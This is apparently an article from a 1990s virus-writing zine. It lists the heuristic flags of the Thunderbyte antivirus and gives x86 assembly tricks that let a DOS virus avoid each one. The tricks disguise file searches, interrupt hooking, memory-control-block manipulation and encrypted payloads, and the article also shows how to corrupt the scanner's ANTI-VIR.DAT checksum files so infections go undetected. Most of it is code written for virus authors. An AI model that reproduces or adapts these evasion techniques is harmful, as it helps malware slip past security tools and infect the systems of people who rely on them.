Full Thunderbyte Stealth...

         What we are trying to do here is to enumerate all the possible
      Thunderbyte flags, so that you can be certain that your virus will
      not trigger an alarm under any specific circumstances.  This text
      is essentially the same as the one in the previous issue, only now
      it's more complete.

      Flag "B" - Back to entry point
      ------------------------------
         This flag appears when a program at some point in its code jumps
      to the Entry Point.  For a COM that would be a jump to the
      beginning (offset 100h).

           MOV  AX, 100h
           JMP  AX

         It can be spoofed like this:

           PUSH 100h
           POP  AX
           JMP  AX

      Flag "E" - Flexible entry point
      -------------------------------
         This one pops up when we are calculating the actual offset,
      remember?  Well, the classic way to code it is as follows:

           CALL OBTENER_DIRECCION
      OBTENER_DIRECCION:
           POP  BP
           SUB  BP, OFFSET OBTENER_DIRECCION

         The anti-TB form would be to simulate that POP:

           CALL OBTENER_DIRECCION
      OBTENER_DIRECCION:
           MOV  DI, SP
           MOV  BP, WORD PTR SS:[DI]
           SUB  BP, OFFSET OBTENER_DIRECCION
           INC  SP
           INC  SP

      Flag "Z" - EXE/COM determination
      --------------------------------
         This is the party guilty of detecting many viruses... it's not
      so commonly used in conventional programming.  Originally, what we
      did was to read the first two bytes of a file, toss them into a
      buffer and compare against 'ZM' (watch it! ZM and not MZ since the
      word is stored in inverse order!)
         For example, supposing we already have the first two bytes in a
      buffer...:

           CMP  WORD PTR [BUFFER], 'ZM'
           JNE  NO_ES_EXE
           ...
           ...
           ...

         Ok, that's the conventional way of doing it.  But another way is
      to compare byte for byte:

           CMP  BYTE PTR [BUFFER], 'M'   ;Remember! we are not
                                    ; comparing against ZM since we
                                    ; are comparing byte by byte.  First
                                    ; we compare against M and then Z.
           JNE  NO_ES_EXE
           CMP  BYTE PTR [BUFFER+1], 'Z'
           JNE  NO_ES_EXE
           ...                      ;<--- If it got this far, it's
           ...                      ; an EXE.
           ...

      Flag "S" - Search for executables
      ---------------------------------
         This one traps the routine which searches for executables....
      The search routine is imperative in non-resident viruses, therefore
      it is imperative to hide it.  We used to search for *.COM or *.EXE
      in any directory; what we can do, instead, is to search for *.C?M
      and *.E?E and later verify if the center letter is an "o" or an "X"
      respectively.  For example (assuming we already have the filename
      in DTA_AREA):

      ;Verify that it really is a .COM, not .CAM or something like that..
      ;To do that, move the pointer to the beginning of the extension
      ;(look for the period in the file name) and I increment it by 1 so
      ;that it's at the center of the extension, which is what interests
      ;us.  Now I look for the period:

           MOV  CX, 13d             ;13d is the maximum filename size.
           LEA  SI, DTA_AREA+1Eh         ;1Eh filename displacement in
                                    ; DTA area.
           LEA  DI, PUNTOS               ;'Puntos' is a variable full of
                                    ; periods (.)
           REPNE     CMPSB

      ;Once the period is found, I increment the pointer so that it
      ;points to the extension's center character:

           INC  SI
           CMP  BYTE PTR [SI], 'O'
           JNE  NO_ES_COM
           ...            ;<--- If it got this far, it's because it's a
           ...            ; real .COM, not a CAM or some such thing
           ...

      Flag "U" - Undocumented interrupt/DOS calls
      -------------------------------------------
         This is set off when you make calls to undocumented services,
      like deactivating V-Safe, for example.  To get around it we do the
      same as before: instead of MOVing, we pass the values through the
      stack and it's done.

      Flag "T" - Incorrect time stamp
      -------------------------------
         TB warns of this problem when it encounters an incorrect or
      impossible date.  A file with a creation date of 2094, for example.

      This generally seen in files infected by stealth viruses, which do
      this to test for infection since if it had to open every file it
      would be the world's slowest virus.  The traditional way is to add
      100 or 200 to the year so that a DIR list appears unchanged but the
      virus 'knows' it's 100 years 'later'.
         Example:

           File name      Real Date      Date shown by DIR command
           --------------------------------------------------------
           MEM.EXE        01/01/1994     01/01/94  ;<-- Not infected
           MEM.EXE        01/01/2094     01/01/94  ;<-- Infected

      Flag "M" - Memory resident code
      -------------------------------
         TB displays this warning when it finds that we obtain or set the
      interrupt vectors.  One way of spoofing it is typical.  Instead of
      the following, for example:

                MOV  AX, 3521H
                INT  21H

         Try this:

                PUSH 3521H
                POP  AX
                INT  21H

         But another way of doing the same thing is, instead of hiding
      the service, hide the VECTOR!  TB warns of resident code only on
      critical interrupts, like 13h or 21h.  So what we do is to call for
      vector 'N-1' instead of vector 'N' and later ad '1' to it.  For
      example:

                MOV  AX, 3521H
                INT  21H

         Change it to:

                MOV  AX, 3520H
                INC  AL
                INT  21H

      Flag "L" - The program traps the loading of software
      --------------------------------------------------
         This flag triggers the moment TB becomes 'aware' of the typical
      comparison used to verify if it is the file execution service(4bh)
      once Int 21h is hooked:

                CMP  AH, 4BH

         To spoof this, instead of comparing AH to 4BH, we can pass the
      value to be compared to another place and compare it in another
      register, so it won't be so obvious to TB that we are comparing the
      service:

                XCHG AH, AL         ; The XCHG instructions are mostly
                CMP  AL, 4BH        ; used to avoid changing registers
                XCHG AH, AL         ;

      Flag "c" - No checksum data
      ---------------------------
         This flag pops up when TB can't find ANTI-VIR.DAT, a small file
      TB creates in each directory.  TB store critical information about
      each program in it, such as the first few bytes and the size of a
      COM, or the EXE Entry Point, or other crap like that, as well as
      storing the CRC of the original file.  If a file is infected, and
      ANTI-VIR.DAT still exists, TB realizes that file was modified and
      displays the flag, maybe even managing to clean the file.

         In other words, it behooves us to make sure that this little
      file
      no longer exists, or better yet, that TB can't recognize it as its
      checksum file.  So, instead of erasing it, what we can do is to
      modify its header... just the first bytes are enough.  We
      overwrite 'Thunderbyte' with garbage......

         The advantage to modifying the file instead of erasing it is
      that we avoid the possibility of TB realizing that ANTI-VIR.DAT is
      missing.  This way, the file is still there but it's unusable.  :-)

      Flag "G" - Garbage instructions,
      Flag "#" - Found an instruction decryption routine,
      Flag "!" - Invalid opcode
      --------------------------------------------------
         This is what TB displays when it finds "garbage" in the file.
      This "pseudo-garbage" is what is usually found after an
      encryption...  When a virus is encrypted, the remaining code
      (obviously not executable) is read as garbage by TB, which then
      interprets this as the possible result of encryption and displays
      the flag.
         A possible solution is to ensure that the result of the
      encryption is not larger than the highest instruction.  One way of
      doing this is to rotate one bit.  Another way is to create a false
      exit ahead of the encrypted code...  TB then thinks that what
      follows is program data and does not read it as garbage.
      Structure:

           JMP  DECRYPT        ;<ÄÄÄÄÄ Jump to the virus
                ...       ;<ÄÄÄÄÄ Host program

      DECRYPT:  ...       ;<ÄÄÄÄÄ Decryption routine
           JMP  TE_CAGUE  ;<ÄÄÄÄÄ Jump to bypass exit to DOS
                MOV  AH, 4Ch   ;<ÄÂÄÄÄ Code which is never executed
                INT  21h       ;<ÄÙ
      TE_CAGUE:
                ...       ;<ÄÄÄÄÄ Continuation of decryption routine.
                ¨ÆA¬      ;<ÄÄÄÄÄ Encrypted virus (garbage)

         Well, since we delayed too long in getting out this second
      issue, it happens that TBav now catches on to the "JMP before the
      DOS exit" trick.  This doesn't mean TB is going to shit on us,
      right?  RIGHT!  It isn't going to shit on us at all, because what
      we can do (thanks to Leviathan's ingenuity, who,  totally perturbed
      because TB was shitting on his Xou da Xuxa, went without sleep a
      whole night and got out a new ANTI-TB 6.20 version) is to make a
      DOS call at random, such as to ask for the date.  I don't mean make
      just ANY call, just calls which won't destroy the contents of the
      key registers and such.  The code should appear as follows:

           JMP  DECRYPT        ;<ÄÄÄÄÄ Jump to virus
                ...       ;<ÄÄÄÄÄ Host program

      DECRYPT:  ...       ;<ÄÄÄÄÄ Decryption routine

           JMP  TE_CAGUE  ;<ÄÄÄÄÄ Jump to bypass exit to DOS
                MOV  AH, 4Ch   ;<ÄÂÄÄÄ Code which is never executed
                INT  21h       ;<ÄÙ
      TE_CAGUE:
                MOV  AH, XXX   ;<ÄÄÄÄÄ Random call, but make sure nothing

                INT  XX        ;       is damaged.
                ...       ;<ÄÄÄÄÄ Continuation of decryption routine.

                ¨ÆA¬      ;<ÄÄÄÄÄ Encrypted virus (garbage)

      Flag "p" - Packed program
      -------------------------
         This flag isn't really an alarm.  It merely tells us that the
      file is packed and that it could contain a virus.

      Flag "F" - Suspicious file access
      ---------------------------------
         This flag appears when TB detects code capable of modifying file
      attributes.  We can spoof it in the same manner: instead of MOVing
      the value of the service in AH, PUSH and POP it.

      Flag "?" - Inconsistent EXE header
      ----------------------------------
         This flag is displayed when TB finds inconsistent information in
      the EXE header.  For example: the header file size field is
      different from the actual size of the file.  This could be caused
      by overlays in the program, but it could also be caused by a virus
      which calculates the new file size improperly.

      Flag "O" - Code that overwrites/moves a prog. in memory
      -------------------------------------------------------
         This appears when we try the restore the first few bytes of a
      COM file.  Generally what we do is:

           mov di, 100h
           lea si, [offset BYTES_ORIGINALES+bx]    ;<- BX contains the
                                                   ;offset of the virus
           movsb
           movsw

           (This, of course, can be done in several different ways, but
           basically the above example is representative.)
           All we need to do here is to replace 'MOV DI, 100' with
           'PUSH 100', 'POP DI'.

      Flag "A" - Suspicious memory allocation
      ---------------------------------------
         The following is an example of the type of code which sets off
      this flag:
           mov ax, ds
           dec ax
           mov es, ax
           cmp byte ptr es:[0], 5ah
           mov ax, es:[3]
           mov dx, es
           add dx, ax
           ... etc...
         (As can be seen, we're trying to manipulate the MCBs)
         The flag can be avoided by changing the value 5Ah for another in
      the following manner:

           ;instead of...
                          cmp byte ptr es:[0], 5ah

           ;write
                          inc byte ptr es:[0]
                          cmp byte ptr es:[0], 5bh

         It modifies the MCB value, but it's the only way... :-).

      Flag "J" - Suspicious jump construct
      ------------------------------------
         This is set off by a chain of Jumps (at least 2) to positions
      more or less widely separated in the code.  Example:

           Start:         JMP Continuar
                     ...
           Continuar:     JMP Virus
                     ...
           Virus:         <Virus>

         Replacing JUMPs with the equivalent PUSH and RET instructions is
      ineffective, including PUSH immediate.  The same thing happens when
      you try to replaces plain and simple JUMPs with a more elaborate
      schema, such as using variables, etc.  This can be solved by
      replacing JUMP with CALL.  You use CALL then you get rid of the
      offset that remains in the stack, making everything work as if it
      were a JMP.  For example:

           Start:         CALL Continuar
                     ...
           Continuar:     ADD SP, 2
                     CALL Virus
                     ...
           Virus:         ADD SP, 2
                     <Virus>

      Flag "K" - Unusual stack
      ------------------------
         We see this pop up with infected EXE's.  The problem with this
      flag is that it appears when one of the 2 following conditions is
      met:

      1)   When the Stack Segment (SS) and the Code Segment (CS) point to
           the same segment.  This is normal, of course, because
           typically we place some bytes in SS after the virus, sharing
           the same segment as the virus's CS (the same CS that is shown
           in the header).....

         2) When the Stack Pointer (SP) is odd (odd stack).. this is due
      to micro computer design, which can't handle segment overflow with
      an odd SP....  the machine would hang.  Ok, you can use an od SP,
      but it's not advisable...  the machine won't hang, but keep the
      possibilities in mind.  But if TB doesn't like it, WE DON'T DO IT,
      AND THAT'S ALL!  OK?  :)

         Well, the first is easy to spoof.  All we have to do when we
      calculate the new CS:IP (pointing to the virus) is to increment the
      CS and set is as a new SS:

         ;Now we have to pass the incremented CS to the header variable
         ;in the corresponding field
           ; Initial Stack Segment: header offset 0eh
           ; Initial Stack Pointer: header offset 10h
           INC AX                   ;<--- In AX for example we have the
                               ; calculated CS and after the INC it
                               ; becomes the new SS.
           MOV WORD PTR DS:[HEADER+0eh], AX; Or whatever the fuck you do
                              ; to pass the data to the new header.

         Ok, all that remains is the SP which has to be even.  Well, what
      can I say?  Since you put the stack wherever you want, just
      calculate it so it comes out even.  The virus has a constant
      length, and since determine the length of the separation between
      the end of the virus and the stack, we calculate it so that the sum
      of the two is even and there we are.....

      Flag "D" - Disk write access
      ----------------------------
         It is rumored that this one appears when you try direct writes
      to the hard drive.  Avoid it by simply camouflaging the call to the
      interrupt.

      Flag "R" - Relocator
      --------------------
         To elude this flag simply camouflage the registers by using
      operations such as PUSH and POP or something like that.  If this
      flag still pops up, kill yourselves!  Your virus is a "mierda".